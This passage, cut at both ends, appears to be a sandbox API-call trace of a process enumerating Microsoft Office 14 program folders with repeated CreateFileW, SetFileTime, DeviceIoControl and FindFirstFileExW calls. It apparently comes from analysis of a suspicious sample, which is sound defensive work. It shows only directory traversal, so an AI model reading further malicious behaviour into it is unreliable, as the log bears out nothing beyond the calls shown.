files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.145] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.145] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.145] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.145] GetLastError () returned 0x12 [0248.145] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.145] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.145] GetLastError () returned 0x12 [0248.145] GetLastError () returned 0x12 [0248.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.146] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.146] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.146] GetLastError () returned 0x12 [0248.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.146] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.146] GetLastError () returned 0x12 [0248.146] GetLastError () returned 0x12 [0248.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.147] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.147] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.147] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.147] GetLastError () returned 0x12 [0248.147] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.147] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.148] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.148] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.149] GetLastError () returned 0x12 [0248.149] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.149] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.150] GetLastError () returned 0x12 [0248.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.151] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.151] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.151] GetLastError () returned 0x12 [0248.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.152] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.152] GetLastError () returned 0x12 [0248.152] GetLastError () returned 0x12 [0248.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.153] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.153] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.155] GetLastError () returned 0x12 [0248.155] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.155] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.155] GetLastError () returned 0x12 [0248.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.156] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.157] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.161] GetLastError () returned 0x12 [0248.161] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.161] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.161] GetLastError () returned 0x12 [0248.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.162] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.162] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.165] GetLastError () returned 0x12 [0248.165] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.165] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.165] GetLastError () returned 0x12 [0248.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.167] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.167] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.167] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.169] GetLastError () returned 0x12 [0248.169] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.170] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.170] GetLastError () returned 0x12 [0248.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.171] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.171] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.171] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.173] GetLastError () returned 0x12 [0248.173] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.173] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.174] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.174] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.174] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.174] GetLastError () returned 0x12 [0248.174] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.174] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.174] GetLastError () returned 0x12 [0248.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.175] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.175] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.175] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.175] GetLastError () returned 0x12 [0248.175] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.175] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.175] GetLastError () returned 0x12 [0248.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.175] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.175] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.176] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.176] GetLastError () returned 0x12 [0248.176] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.176] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.176] GetLastError () returned 0x12 [0248.176] GetLastError () returned 0x12 [0248.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.177] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.177] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.177] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.179] GetLastError () returned 0x12 [0248.179] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.179] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.179] GetLastError () returned 0x12 [0248.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.180] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.180] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.185] GetLastError () returned 0x12 [0248.185] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.186] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.186] GetLastError () returned 0x12 [0248.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.188] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.188] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.188] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.190] GetLastError () returned 0x12 [0248.190] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.190] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.190] GetLastError () returned 0x12 [0248.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.192] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.192] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.192] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.192] GetLastError () returned 0x12 [0248.192] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.192] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.192] GetLastError () returned 0x12 [0248.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.193] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.193] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.193] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.193] GetLastError () returned 0x12 [0248.193] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.193] FindClose (in: hFindFile=0x4fd560 | out: 